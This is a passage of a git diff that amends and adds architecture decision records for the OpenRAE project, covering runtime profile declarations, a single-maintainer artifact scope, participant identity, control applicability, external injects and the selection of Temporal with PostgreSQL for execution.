store, and the @@ -188,6 +231,76 @@ interrupted-to-failed conversion. The full disposition table, including every store module and test surface, lives in the design set's requirement disposition. +### 9. Profile declarations separate guarantees from provider facts + +The runtime package owns one immutable, typed declaration for the P0--P3 +profile vocabulary, guarantees, nonclaims, scope, actor boundary, and required +composition capabilities. It is in-process composition metadata, not a new +portable DTO, persisted record, backend manifest block, or HTTP discovery +document. P3 remains queryable only as an unavailable future coordination seam: +it has no guarantees and cannot be selected. + +Stores and adapters declare the facts they provide; they do not declare that +they *are* a profile. The composition boundary validates those facts against +the selected profile before lease acquisition, store inspection, route +registration, or backend work. Missing capabilities fail construction with +stable, value-free identifiers. A richer provider does not silently strengthen +the selected profile, and a deficient provider never causes fallback to a +weaker profile. Existing store-shape checks, target-manifest validation, lease +admission, and HTTP security validation remain the authorities for their own +layers rather than being copied into the profile catalog. + +P0 and P1 are core library compositions. P2 is the reference HTTP composition +over a successfully admitted P1 core; only the HTTP composition may claim P2's +authenticated actor boundary. Backend recovery observation remains the +optional capability already declared by the target manifest and paired with a +validated recovery observer. P1 and P2 require startup reconciliation, but +absence of backend observation support resolves unknown effects to +`INDETERMINATE`; it is not a reason to downgrade or reject an otherwise valid +composition. + +That composition rule does not admit an operation whose authored requirements +demand provable interruption, recovery or continuation that the backend cannot +establish. Capability, current willingness and observed satisfaction remain +distinct; required guarantees cannot be silently weakened. + +Profile interrogation is an embedder API. It does not add an unauthenticated +profile endpoint, a health signal, capability negotiation, or deployment +configuration. TLS, proxy header stripping, secret loading, worker count, +filesystem permissions, process supervision, and backup policy remain +deployment responsibilities. The detailed CP-10 boundary is recorded in the +[issue #1189 preflight](../issue-1189-control-plane-profile-declaration-preflight.md). + +### 10. Supervision and subsequent work obey admitted requirements + +The [operation supervision supplement](../../../specs/formal/runtime-control-plane/supervision.md) +defines the state, effect and evidence boundaries for issue #1348. It is +design authority, not a claim that the existing runtime supports interruption, +bounded drain or checkpoint resumption. The +[decision and requirement dispositions](../issue-1348-operation-lifecycle.md) +identify the current carrier and implementation gaps. + +Stopping admission, requesting interruption, backend acceptance/refusal, +established cessation and terminal publication are separate facts. A bounded +supervision route must reach the same state authority during blocked external +work and saturated effect queues. All callbacks, including recovery observation, +have stage-specific operational budgets distinct from authored semantic time. +Uncertain external effects retain quarantine; uncertain store acknowledgements +use readback and poisoned readiness. Neither a timeout nor process loss permits +overlapping effects. Late evidence uses linked resolution without rewriting a +terminal parent; administrative snapshot acceptance is not cessation evidence. + +Durability authorizes none of retry, resumption, termination or a new trial. +Use existing workflow and time semantics, SCE-007 attempt/retry/cleanup controls, +and EXP-706/SCE-002 trial identity and allocation. A new attempt under an admitted +entry is distinct from a new trial; continuation needs an established compatible +boundary. Required clean-state, interruption or continuity evidence cannot be +replaced by a successful control receipt. Before invocation, an unsupported or +refused guarantee prevents admission; after invocation, classify known failure +or indeterminacy and its validity consequences without a weaker fallback. +Physical-OT protection remains a selectable future concern, not a universal +execution requirement or certification claim. + ## Alternatives Considered ### One mandatory control-plane service @@ -238,3 +351,8 @@ demonstrated its lost-update and partial-state failures. | Date | Commit/PR | Summary | |---|---|---| | 2026-09-03 | #1151 | Reclassified the stateful control-plane design as FM3 and added the abstract lifecycle, actor-bound audit, authorization, idempotency, and target/run isolation invariants required before implementation. | +| 2026-09-19 | #1186 | Permitted the operator CLI to call only the closed public P1 offline-maintenance interface while keeping runtime validation and publication ownership intact. | +| 2026-09-20 | #1189 | Made profile declarations runtime-owned composition metadata, separated provider facts from guarantees, and fixed P2 and recovery-observation boundaries. | +| 2026-09-22 | #1348 | Defined shared-runtime supervision, effect reservations, evidence-based settlement and authored recovery choices while preserving profile and implementation nonclaims. | +| 2026-09-24 | #1356 | Bound participant clients to an organizational backend and kept privileged P2 credentials and raw control-plane outputs inside that boundary. | +| 2026-09-25 | #1356 follow-up | Clarified SDK method access, optional P2 identity scope, host policy, and the legacy no-resolver projection gap. | diff --git a/docs/decisions/adrs/adr-106-developer-package-and-artifact-management.md b/docs/decisions/adrs/adr-106-developer-package-and-artifact-management.md index 8042992a6..55108ecf5 100644 --- a/docs/decisions/adrs/adr-106-developer-package-and-artifact-management.md +++ b/docs/decisions/adrs/adr-106-developer-package-and-artifact-management.md @@ -10,6 +10,47 @@ Accepted by the maintainer through merged PR #1229 for issue #1168. 2026-09-05 +## Current scope — issue #1313 amendment + +This amendment takes effect with the #1313 delivery merge and supersedes every +conflicting requirement in the original decision below and its linked design +set. The earlier acceptance remains historical, not authority to restore +cancelled work. + +OpenRAE supports connected local development and GitHub-hosted CI under the +single maintainer recorded in [MAINTAINERS.md](../../../MAINTAINERS.md). +Tooling, Security, Release, Platform and domain labels describe responsibilities +of that maintainer; they do not establish independent human review or require +a deputy. Build/test and publishing **machine permissions** remain separated. + +There is no required enterprise artifact repository, promotion or revocation +service, disconnected-development bundle, independent-copy backup, service-load +qualification, retention/GC service or disaster-recovery drill program. +#1224, #1225 and #1228 are cancelled as not planned. The local denied-digest +policy remains reviewed Git data, not a freshness/status service. + +Retain reviewed input hashes, maintained acquisition clients, frozen Python +project/tool/build dependencies, installed wheel/sdist smokes, private verified +installations, proof isolation, vocabulary identity and concurrent CI. +Native workflows and updater configuration own their execution settings; +focused checks replace parallel workflow models and inventory-site accounting. +Component qualification runs for relevant changes or explicit maintenance, +without aggregate qualification-hash renewal. + +Keep exact release SHA, real-container requirements, standard provenance/SBOM, +tested output digests and separate publishers. #1227 owns ordinary same-byte +handoff and partial-publication recovery; #684 owns actual publication +acceptance; #1277 owns supported dev-container entry-point verification. +#1313 is not a blanket prerequisite for any of them. The +[current migration table](../package-artifacts/migration.md) is the active +scope/dependency record. + +## Historical decision + +The sections below preserve the accepted 2026-09-05 design for audit history. +Their enterprise, disconnected and service-operations prescriptions are not +current acceptance criteria where superseded above. + ## Classification Classification: FM3 @@ -162,3 +203,4 @@ acceptance; closing #1168 does not claim that the migration issues are shipped. | Date | Commit/PR | Summary | |------|-----------|---------| | 2026-09-06 | #1229 | Recorded the maintainer acceptance already established by merged PR #1229 and added the ADR to the accepted-content pin manifest. | +| 2026-09-17 | #1313 | Narrowed the operating scope to connected single-maintainer OSS development and ordinary release recovery; preserved the original accepted design as history. | diff --git a/docs/decisions/adrs/adr-107-artifact-promotion-and-release-admission.md b/docs/decisions/adrs/adr-107-artifact-promotion-and-release-admission.md index a77b04d06..d717f0e91 100644 --- a/docs/decisions/adrs/adr-107-artifact-promotion-and-release-admission.md +++ b/docs/decisions/adrs/adr-107-artifact-promotion-and-release-admission.md @@ -11,6 +11,47 @@ Accepted with ADR-106 by the maintainer through merged PR #1229 for issue 2026-09-05 +## Current scope — issue #1313 amendment + +This amendment takes effect with the #1313 delivery merge and supersedes every +conflicting requirement in the original decision below and its linked design +set. The earlier acceptance remains historical, not authority to restore +cancelled work. + +OpenRAE supports connected local development and GitHub-hosted CI under the +single maintainer recorded in [MAINTAINERS.md](../../../MAINTAINERS.md). +Tooling, Security, Release, Platform and domain labels describe responsibilities +of that maintainer; they do not establish independent human review or require +a deputy. Build/test and publishing **machine permissions** remain separated. + +There is no required enterprise artifact repository, promotion or revocation +service, disconnected-development bundle, independent-copy backup, service-load +qualification, retention/GC service or disaster-recovery drill program. +#1224, #1225 and #1228 are cancelled as not planned. The local denied-digest +policy remains reviewed Git data, not a freshness/status service. + +Retain reviewed input hashes, maintained acquisition clients, frozen Python +project/tool/build dependencies, installed wheel/sdist smokes, private verified +installations, proof isolation, vocabulary identity and concurrent CI. +Native workflows and updater configuration own their execution settings; +focused checks replace parallel workflow models and inventory-site accounting. +Component qualification runs for relevant changes or explicit maintenance, +without aggregate qualification-hash renewal. + +Keep exact release SHA, real-container requirements, standard provenance/SBOM, +tested output digests and separate publishers. #1227 owns ordinary same-byte +handoff and partial-publication recovery; #684 owns actual publication +acceptance; #1277 owns supported dev-container entry-point verification. +#1313 is not a blanket prerequisite for any of them. The +[current migration table](../package-artifacts/migration.md) is the active +scope/dependency record. + +## Historical decision + +The sections below preserve the accepted 2026-09-05 design for audit history. +Their enterprise, disconnected and service-operations prescriptions are not +current acceptance criteria where superseded above. + ## Classification Classification: FM3 @@ -128,3 +169,4 @@ quarantine, revocation and recovery are specified in the | Date | Commit/PR | Summary | |------|-----------|---------| | 2026-09-06 | #1229 | Recorded the maintainer acceptance already established by merged PR #1229 and added the ADR to the accepted-content pin manifest. | +| 2026-09-17 | #1313 | Narrowed the operating scope to connected single-maintainer OSS development and ordinary release recovery; preserved the original accepted design as history. | diff --git a/docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md b/docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md index 5a5744c94..0c9a0c084 100644 --- a/docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md +++ b/docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md @@ -55,6 +55,48 @@ They do not all have information-flow labels. ## Decision +### Amendment: IFC profile variability and publication (#1354) + +[ADR-114](adr-114-ifc-profile-variability-and-publication.md) and +[IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md) +separate authored owner/guarantee requirements, published profile meaning and +backend realization. Governed finite publication remains the extension route; +no new owner syntax, policy interpreter or plugin facility is introduced. +Independent obligations, conservative propagation, per-obligation release +authority and immutable provenance remain mandatory. CA-04 governs admission; +losing an admitted guarantee blocks the affected release. The published v1 +vocabulary and non-exact-support rejection remain unchanged. + +The amendment's [migration contract](../../migration/ifc-profile-variability.md) +preserves historical profile/release interpretation and requires explicit +consumer support before owner-aware or revised bounded-support claims. This +semantic publication does not implement those consumers or certify a backend. + +### Amendment: exact-cut applicability and effect decisions (#1352) + +[ADR-111](adr-111-control-applicability-and-effect-decisions.md) and +[CA-01–CA-09](../../../specs/formal/participant-semantics/control-applicability-and-evaluation.md) +clarify sections 2, 4 and 6 under a separate semantic identity. The complete +apparatus is distinct from its applicable slot/provider subset and required +profile coverage. Dependencies govern typed predecessor inputs and invocation, +including repeated stages of one provider, with explicit shared-state scope. +Required advice availability does not grant advice veto authority; optional +failure stays isolated and bounded support must meet the admitted constraints. + +Parent permit/deny/withhold are decisions before scheduling. Their meaning +cannot change with effect phase. Required predecessors, success-dependent +consequences and independent consequences retain separate targets, authority +and outcome prerequisites; the combined parent/effect graph must be acyclic. +Decision, accepted state changes, authorized intents and budgets share one +atomic commit. A denied parent may have an independently authorized audit, +without acquiring permission to execute. + +The original revision-1 publication and evidence keep their historical scope. +The [migration contract](../../migration/control-applicability-and-evaluation.md) +requires explicit revised interpretation and preserves old decisions, keys, +receipts and consumption. This amendment publishes no new wire reader or +runtime implementation and retains SEM-233 and the declared-world boundary. + ### 1. Establish the declared-world boundary RAES owns the declared participants, observations, actions, controllers, @@ -223,3 +265,11 @@ and multi-operation recovery. Complete mediation depends on backend instrumentation and the admitted world's observation coverage. This ADR proves neither universal noninterference nor controllability, robustness, liveness, backend equivalence, or protection of opaque internals and undeclared channels. + +## Amendments + +| Date | Reference | Change | +| --- | --- | --- | +| 2026-09-22 | #1352 | Clarify apparatus versus applicability, obligation coverage, typed dependency invocation, optional failure, required strength, atomic state and phase-independent parent decisions through ADR-111. | +| 2026-09-23 | #1354 | Define IFC profile variability, requirement-relative support, per-obligation release and immutable migration under ADR-114. | +| 2026-09-24 | #1383 | Rebind the #1354 publication reference to ADR-114 after ADR-113 was assigned to #1350; semantics are unchanged. | diff --git a/docs/decisions/adrs/adr-109-participant-identity-and-objective-assignment.md b/docs/decisions/adrs/adr-109-participant-identity-and-objective-assignment.md new file mode 100644 index 000000000..d81382da1 --- /dev/null +++ b/docs/decisions/adrs/adr-109-participant-identity-and-objective-assignment.md @@ -0,0 +1,89 @@ +# ADR-109: Participant Identity, Affiliation, and Objective Assignment + +## Status + +accepted + +## Date + +2026-09-21 + +## Classification + +Classification: FM2 + +Required artifacts: the [normative contract and clause matrix](../../../specs/sdl/participant-identity.md), +closed published SDL schemas, cross-stage differential tests, and the +[explicit migration guide](../../migration/participant-identity.md). +Waivers: none. + +## Context + +Issue #1338 implements the identity/assignment slice of the +[participant audit](../../research/participant-identity/audit.md). Mandatory +`Agent.entity` conflated identity and affiliation; `Objective.agent/entity` +conflated participant assignment and organizational ownership. Entity objectives +also bypassed action-contract validation. The [preflight](../issue-1338-participant-identity-assignment-preflight.md) +records the inventory, rejected alternatives, security gates, and boundaries. + +## Decision + +The key in `agents` identifies one author-designated autonomous subject. It +may denote a composite system without declaring its components. RAES neither +tests an autonomy threshold nor derives identity from organization, role, +implementation, executable process, or runtime episode. + +Optional `affiliations` reference organizations; optional participant `role` +overrides inherited role. Only a single affiliation supplies a fallback role. +Shared affiliation never merges participants or supplies assignment, authority, +observation access, or attribution. + +Objectives have independent optional `owner` (entity) and +`assigned_participant` (participant) references, with at least one required. +Both may be present. Actions always reference global action contracts and, when +assigned, must also occur in the participant's declared action set. An unassigned +objective remains organizational intent, not runtime work. Beneficiary is not +introduced and must not be inferred from owner, target, or success subject. + +Relationship objective references and autonomous objective evaluation follow +explicit assignment only. Effective-role consumers share one resolver. +Compiled projections label affiliation, role, owner, and assignment separately; +the overloaded objective actor projection is removed. Runtime actor attribution +remains in action/episode/history contracts and is not manufactured from intent. + +This decision amends the identity/role clauses of ADR-020 and the exclusive +objective-actor clause of ADR-002, with in-band #1338 amendment records and +updated acceptance-content pins under ADR-059. Unaffected decisions, including +ADR-022 and ADR-067, remain unchanged. The current field-level rules are +specified by the linked normative contract. ACT-613 is not activated by this +requirement-free delivery slice. The decision and amendments ship together with +the implementation in the reviewed delivery PR. + +## Compatibility and consequences + +Canonical parsing rejects legacy fields with migration guidance, never hidden +aliases. The explicit, source-preserving migrator maps deterministic relations +and requires digest-bound author decisions for organizational objectives. +Published draft schema lineages retain their identifiers and record their +changed hashes; historical compiled snapshots and runtime evidence are not +rewritten. The deprecation ledger states the source-reader support window. + +This deliberately breaks obsolete authoring and internal compiler projections. +Authors gain unaffiliated/composite participants and owned-but-unassigned +objectives. Multiple affiliations without direct role have no inferred role. +No new beneficiary ontology, participant component graph, persistence store, +control-plane permission, runtime action, or implementation binding is added. + +## Verification + +The normative clause matrix names executable positive and negative checks for +parsing, schema shape, role resolution, action constraints, imports, variable +instantiation, editor navigation, compilation, authority, and migration. +Existing episode/history contracts remain authoritative for realized action +coordinates. A declaration of intent alone never constitutes evidence of action. + +## Amendments + +| Date | Commit/PR | Summary | +| --- | --- | --- | +| 2026-09-21 | #1338 | Editorial: use the explicit classification-waiver declaration required by the assurance policy gate. | diff --git a/docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md b/docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md new file mode 100644 index 000000000..9e6ee420d --- /dev/null +++ b/docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md @@ -0,0 +1,118 @@ +# ADR-110: Reusable Mixed-Control Policies and Occurrences + +## Status + +accepted + +Acceptance takes effect when the delivery PR for +[#1351](https://github.com/OpenRAE/rae/issues/1351) merges. An unmerged copy is +proposed delivery state. This decision publishes semantics and canonical +requirement amendments; it does not declare executable adoption complete. + +## Date + +2026-09-22 + +## Classification + +Classification: FM3 + +Required artifacts: [normative state relation and invariants](../../../specs/formal/participant-semantics/reusable-mixed-control.md), +[worked cases and verification limits](../../research/reusable-mixed-control/cases.md), +[bounded model and property cases](../../../implementations/python/tests/test_issue_1351_mixed_control_design.py), +[migration contract](../../migration/reusable-mixed-control.md), and canonical +ACT-617/API-409/RUN-310/DSL-142 amendments. + +Waivers: production typed-IR/wire-contract and backend conformance evidence is +not claimed by this semantic-design delivery. Current published schemas and +implementations retain their existing fixed-coordinate semantics. The bounded +model is design falsification evidence, not runtime or transport conformance. + +## Context + +`MixedControlTransition` currently fixes expected/resulting revisions, +effective order and proposal references in an authored declaration. RUN-310 +replays those declarations, and API-409 requires occurrence coordinates to equal +the declaration. Returning to the same named state cannot reuse the edge at a +new revision. Unrolling every possible visit is a finite script, not reusable +permission. The [preflight](../issue-1351-reusable-mixed-control-preflight.md) +also identifies source/destination-controller, direction-target, policy-revision +and order/time disagreements at the DSL-142 join. + +The workflow model already separates a graph from its execution state. Shared +time already separates order, clocks, segments and progression. ADR-085/095, +ADR-104 and ADR-108 supply the authority, occurrence, exact-cut, atomic-commit +and effect boundaries; this decision uses those distinctions. + +## Decision + +Adopt `mixed-control-policy-occurrence/rev1`, defined by the normative contract. +ACT-617 owns reusable permitted transitions. API-409 owns immutable occurrences +with actual identity, revisions, targets, order, validity and evidence. RUN-310 +applies one revision-fenced relation through its existing entry/commit paths. +DSL-142 joins direction/intervention delivery to the exact accepted occurrence. + +Retain finite scripts as an explicit finite list of constraints over the same +relation. Reusable edges carry no preassigned traversal revision or future +proposal identity. Every accepted application, even a same-state one, increments +the state revision exactly once. Rejection and retry do not. Ambiguous order +has no implicit winner; ordered competitors are revalidated without rebasing. + +Retain source-controller authority. In the new semantic form only handoff +changes controller identity, with occurrence-specific completion evidence and +independently valid destination authority. Authentication principals remain +distinct from controllers. Approval and denial target an exact live proposal; +direction permits declared proposal/action/control targets and intervention +permits action/control/attempt targets. Historical reference, authorizing +eligibility and state advancement are different relations. + +Evaluate authority and typed validity at the trusted commit cut. Control order +is not time. Pin policy for an episode; retain store-scoped retry identity, +append-only history and original-policy replay. New episodes establish fresh +authority and proposal context without resetting causal budgets. Provider +handoff, clock replay, process recovery and new trials keep their own meanings. + +Directed delivery pins disclosure policy independently of control policy and +consumes one exact application/binding permission. General injects remain +general orchestration. Admission, control acceptance, effect realization, +delivery and observation require separate evidence. + +## Compatibility and migration + +The linked migration contract governs both producers and readers. Legacy +fixed-coordinate declarations and v1 occurrences retain exact historical +meaning, including their compiled-policy replay dependencies. New semantic +forms require an explicit reader/discriminator boundary and coordinated +authoring/compiler/contract/runtime/consumer support. Unsupported readers fail +closed; there is no wildcard-revision or silently reusable interpretation. + +An explicit conversion may retain a provably equivalent finite script. Making +it reusable, splitting a legacy approval/controller change into separate facts, +or repairing ambiguous time/controller joins requires author decisions. No +persisted occurrence is retagged, regenerated or rewritten. Live policy-format +upgrade within an episode is unsupported. + +Canonical requirement statements and normative entry points are amended in +this delivery. Existing ACTIVE lifecycle status and legacy evidence are retained +with an explicit amendment boundary. No accepted prior ADR is silently edited. + +## Alternatives Considered + +- Unroll another declaration for every visit: retains the finite limitation. +- Drop expected revisions or use wildcard revisions: admits stale decisions. +- Infer policy form from omitted fields: silently changes old author intent. +- Treat a destination, operator principal or inject as a controller grant: + bypasses the current authority owner. +- Build another workflow, clock, controller store or generic policy language: + duplicates existing owners without resolving the occurrence join. + +## Consequences + +One permitted edge can govern repeated cycles while every application remains +precise and independently reviewable. Finite scenarios keep their bounded +intent, and old evidence stays interpretable under its original contracts. + +Adoption requires coordinated versioned boundaries and evidence at real +consumers. The design and bounded tests prove no backend support, liveness, +universal security, physical cancellation, delivery, observation or exactly-once +external execution. diff --git a/docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md b/docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md new file mode 100644 index 000000000..450e3eb2e --- /dev/null +++ b/docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md @@ -0,0 +1,110 @@ +# ADR-111: Control Applicability and Effect Decisions + +## Status + +accepted + +Acceptance takes effect when the delivery PR for +[#1352](https://github.com/OpenRAE/rae/issues/1352) merges. An unmerged copy is +proposed delivery state. This decision publishes semantic and contract +obligations; it does not declare executable adoption complete. + +## Date + +2026-09-22 + +## Classification + +Classification: FM3 + +Required artifacts: [normative applicability/evaluation relation](../../../specs/formal/participant-semantics/control-applicability-and-evaluation.md), +[worked cases and bounded verification](../../research/control-applicability/cases.md), +[finite model](../../../implementations/python/tests/control_applicability_model.py), +[property cases](../../../implementations/python/tests/test_issue_1352_control_applicability.py), +[migration contract](../../migration/control-applicability-and-evaluation.md), +and canonical SEM-235/API-424 amendments. + +Waivers: this design delivery supplies no new wire schema, installed provider, +production runtime change or backend conformance result. The finite model +assumes trusted context and atomic state replacement; it falsifies bounded +relations rather than establishing live enforcement or durable atomicity. + +## Context + +ADR-108 distinguishes mandatory constraints, optional advice and independent +effects. The [#1352 preflight](../issue-1352-control-applicability-preflight.md) +finds that the published API-424 interface cannot express all those relations: +the whole apparatus must match one sink, profile presence need not cover a +slot, dependent invocations receive no fresh predecessor results, optional +support can block all composition, and a subsequent parent-targeted denial can +leave that parent eligible. These are contract counterexamples, not proof of +a live authorization bypass. + +The existing SEM-235 algebra and world boundary remain sound. Their repair +does not require another workflow engine, provider registry, policy language,+store, controller model or security domain. + +## Decision + +Adopt `participant-control-applicability/rev1`, specified by CA-01–CA-09. +Keep B, the exact admitted apparatus, stable while deriving a covered invocation +subset at K. Required profile obligations exist independently of returned +results. Record applicable, proven-inapplicable and unresolved obligations; +absence never proves inapplicability or permits vacuous success. + +Evaluate a finite typed slot/stage DAG with immutable predecessor inputs and +explicit state scopes. A.fact → B.assessment → A.rule is legitimate. The +mandatory input closure is an admitted obligation; required advice retains its +advisory meaning. Failure of truly optional work cannot acquire veto authority. +Bounded support must satisfy the actual admitted coverage and constraints. + +Represent parent decisions before effect scheduling. Deny refuses and withhold +remains pending in every phase. Distinguish required predecessors, +success-dependent consequences and independently authorized consequences of +specified dispositions. Check their combined graph with parent events; +independent audit may survive denial without granting parent permission. + +Use one incumbent atomic commit for coverage, results, decision, scoped state, +effect intent/claims and budgets. Evaluation-state transitions may commit on +refusal only when explicitly admitted; action-success state cannot. Failed +commit dispatches nothing. All effects retain their owner, originating +authority, current final-sink checks and independent realization evidence. + +SEM-235 owns the semantic amendment. API-424 owns its closed versioned +representation and typed provider-input obligations. RUN-320 remains the +shared runtime consumer; backend installation, concrete willingness, +instrumentation and realization remain separately evidenced responsibilities. + +## Compatibility and migration + +The linked migration contract requires explicit semantic/protocol negotiation +and old/new reader selection. Existing v1 records retain their original content +and meaning; no global reducer change may reinterpret old claims, consumption +or dispatch eligibility. Legacy evidence cannot supply missing dependency or +coverage evidence for the new contract. + +API-424's current schemas are draft under ADR-061, but publication flexibility +does not authorize silent semantic reinterpretation. Revised meaning needs an +explicit discriminator/content boundary and coherent reader/capability support. +This delivery changes no wire schema and begins no deprecation window. + +## Alternatives Considered + +- Filter the apparatus to a crossing subset: loses the admitted identity and + makes omission indistinguishable from missing mandatory coverage. +- Reorder one call per provider: cannot express A → B → A or supply inputs. +- Treat every selected provider as mandatory: grants optional failure a veto. +- Treat all bounded support as acceptable: silently weakens exact requirements. +- Execute deny after parent release: changes denial into an ineffective event. +- Rewrite historical evaluations with the new reducer: can change retained + claims, budgets and executable effects without fresh authorization. + +## Consequences + +A multi-sink apparatus can evaluate only the relevant providers without losing +identity or coverage. Mandatory work remains closed under its dependencies; +optional advice and independent consequences retain precise authority limits. +The cost is explicit coverage, invocation and state bindings, and coordinated +versioned adoption across contracts, runtime, history readers and conformance. + +Finite design evidence establishes no backend support, universal security, +provider isolation, delivery, resumability or exactly-once external execution. diff --git a/docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md b/docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md new file mode 100644 index 000000000..c4ba75815 --- /dev/null +++ b/docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md @@ -0,0 +1,105 @@ +# ADR-112: External Inject Triggering and Execution + +## Status + +accepted + +Acceptance takes effect when the delivery PR for +[#1353](https://github.com/OpenRAE/rae/issues/1353) merges. An unmerged copy is +proposed delivery state. This decision accepts semantics and requirement +amendments; it does not declare executable backend adoption complete. + +## Date + +2026-09-22 + +## Classification + +Classification: FM3 + +Required artifacts: [state relation and invariants](../../../specs/sdl/external-injects.md), +[worked cases](../../explain/sdl/external-inject-cases.md), +[bounded executable model and tests](../../../implementations/python/tests/test_issue_1353_external_inject_design.py), +[compatibility/adoption contract](../../explain/sdl/external-inject-compatibility.md), +and canonical DSL-111/DSL-142 amendments. + +Waivers: production typed-IR/wire-contract and concrete backend conformance +evidence are not claimed by this semantic-design delivery. Existing published +schemas and implementations retain their current behavior. The bounded model +provides design falsification, not runtime, transport or world-effect assurance. + +## Context + +Ordinary injects can already be authored and compiled without participants. +An inject's entity endpoints are optional paired narrative references. Events +need not belong to a script or story. The existing Orchestrator protocol +installs a plan and returns status/results/history; its reference implementation +records bound/queued resources. None of these facts establishes a fresh +externally requested effect. Participant status-view delivery also provides +no evidence that an inject source executed. + +The [preflight](../../explain/sdl/issue-1353-external-inject-triggering-preflight.md) +identifies the missing occurrence/realization contract and the incumbent +parser, compiler, authorization, storage, supervision and evidence owners. +ADR-104 owns durable operations and uncertain outcomes; ADR-110 owns reusable +control occurrences and exact participant-delivery joins. + +## Decision + +Adopt external-inject-occurrence/rev1 as specified by EI-01–EI-06. Reuse authored +injects and narrative placement; add the semantic boundary between a resolved +admitted binding and a versioned portable invocation/outcome contract. The +shared runtime drives admitted execution; concrete backends realize the effect +and supply validated per-target outcome evidence. + +An external request instantiates one inject under exact plan/source, target/run, +input, ordering and precondition bindings. Independent triggers need no +synthetic narrative schedule or participant. Request keys, logical occurrences, +schedule slots and backend attempts retain distinct identities and claims. +Repeated execution requires a fresh permitted occurrence; retries preserve it. +One authoritative order governs scheduled and external inputs, while shared +clock validity remains separate. + +Reuse ADR-104 actor-bound authorization, authoritative claims before effects, +atomic terminal state/audit, effect reservations and recovery. Refusal, known +absence, known partial application and indeterminacy remain distinguishable. +No successful no-op, status view or automatic redispatch may stand for a +missing or uncertain world effect. + +Compose optional participant disclosure/delivery/observation by exact +occurrence and result identity. Real direction/intervention additionally uses +the exact accepted ADR-110 control occurrence, source-controller authority, +typed target and independent delivery policy. A researcher changing the world +is not thereby a participant controller. Required delivery can withhold +dependent progress without undoing an applied world effect. + +## Compatibility and migration + +The linked compatibility contract preserves old authoring, fixed narrative +anchors, receipts, snapshots and evidence. Existing ACTIVE requirement status +does not establish implementation of the amendment. Unsupported new readers +or backend capabilities refuse explicitly. Versioned coordinated adoption +covers carriers, manifests, runtime/store/backend and optional participant +consumers; no parser field, schema or endpoint is introduced by this prose. + +## Alternatives Considered + +- Require a participant/controller for every trigger: excludes valid + environment-only and researcher world-effect scenarios. +- Treat plan start or participant status delivery as execution: confuses intent + or disclosure with an evidenced world change. +- Drop legacy schedule anchors or reuse declaration IDs as occurrences: + changes historical meaning and makes repetitions ambiguous. +- Add an arbitrary command/payload endpoint or another scheduler/store: + bypasses authored intent and duplicates existing authority. +- Automatically retry uncertain effects: can duplicate irreversible world work. + +## Consequences + +Authors retain the existing language, while implementers have a portable +identity, admission, execution and evidence boundary. Backends can differ in +realization without silently changing the meaning of acceptance or success. + +Executable adoption must demonstrate the specified behavior at real consumers. +This design proves no backend support, liveness, universal rollback, physical +cancellation, participant observation or exactly-once remote execution. diff --git a/docs/decisions/adrs/adr-113-reusable-execution-machinery.md b/docs/decisions/adrs/adr-113-reusable-execution-machinery.md new file mode 100644 index 000000000..b8aaf819c --- /dev/null +++ b/docs/decisions/adrs/adr-113-reusable-execution-machinery.md @@ -0,0 +1,325 @@ +# ADR-113: Reusable Execution Machinery Under RAE Authority + +## Status + +accepted + +## Date + +2026-09-23 + +## Classification + +Classification: FM3 + +Required artifacts: the architecture selection for issue #1350, under +[ADR-104](adr-104-runtime-control-plane-architecture.md) and the +[#1348 supervision semantics](../../../specs/formal/runtime-control-plane/supervision.md). +The existing abstract supervision model supplies the semantic invariants; +the [bounded experiments](../../research/execution-architecture/experiment-report.md) +supply mechanism observations and counterexamples. + +Waivers: neither evidence set establishes a distributed refinement proof or +production conformance. This decision selects +components and integration rules; it adds no runtime dependency, published +carrier, selectable profile or executable guarantee. P3 remains unavailable. + +## Context + +RAE must drive ordinary CTFs, OT digital twins, AI security research and +sandboxes, product tests, and mixed IT/OT disaster recovery without giving each +backend a separate scenario interpreter. The local quickstart is one deployment, +not the product's ceiling. The evaluation's illustrative 15-tenant, +hundreds-of-nodes workload is a design case, not a measured capacity requirement. + +The incumbent logical mutation permit spans external calls and cannot provide +the supervision defined by #1348. A new task loop alone would leave RAE building +distributed dispatch, timers, recovery and operational tooling. Conversely, +adopting a framework's success, cancellation or retry semantics as RAE's own +would change authored meaning. The [comparison](../../research/execution-architecture/candidate-comparison.md) +evaluates these trade-offs rather than selecting by framework category. + +## Decision + +### 1. Reuse execution machinery without transferring responsibility + +Select **self-hosted Temporal Server and its Python SDK, backed by PostgreSQL** +for the distributed composition. Use Temporal's durable dispatch, task queues, +workflow history, timers, worker management and replay mechanisms. RAE-owned +code makes the semantic decisions through these mechanisms. Do not build a +replacement durable scheduler, broker, actor platform or workflow language. + +Preserve **P0's in-process library composition and P1/P2's existing local +transactional store and ownership boundaries**. Reuse Python/AnyIO concurrency +and SQLite there; do not require a Temporal service for an ordinary local run. +The same RAE semantic functions and contracts serve both compositions, through +small execution adapters. This is not permission to implement two sets of +workflow, retry, time, participant or outcome rules. Selecting remote workers +or PostgreSQL must never silently upgrade a P0/P1/P2 profile. + +Temporal Server/SDK and AnyIO use MIT licenses; PostgreSQL uses the PostgreSQL +License; SQLite is public domain. No paid software, managed Temporal service, +enterprise feature or cloud account is required by this architecture. Operating +machines, storage and support still costs resources. Pin supported versions, +transitive licenses, platform compatibility and artifacts through the existing +package/tooling policy when implementation adds dependencies. The experiment +versions are an evidence record, not a production support matrix. + +Sources: [Temporal license](https://github.com/temporalio/temporal/blob/main/LICENSE), +[SDK license](https://github.com/temporalio/sdk-python/blob/main/LICENSE), +[AnyIO license](https://github.com/agronholm/anyio/blob/master/LICENSE), +[PostgreSQL license](https://www.postgresql.org/about/licence/), +[SQLite copyright](https://sqlite.org/copyright.html), +[Temporal persistence](https://docs.temporal.io/temporal-service/persistence). + +### 2. Keep the ecosystem and runtime 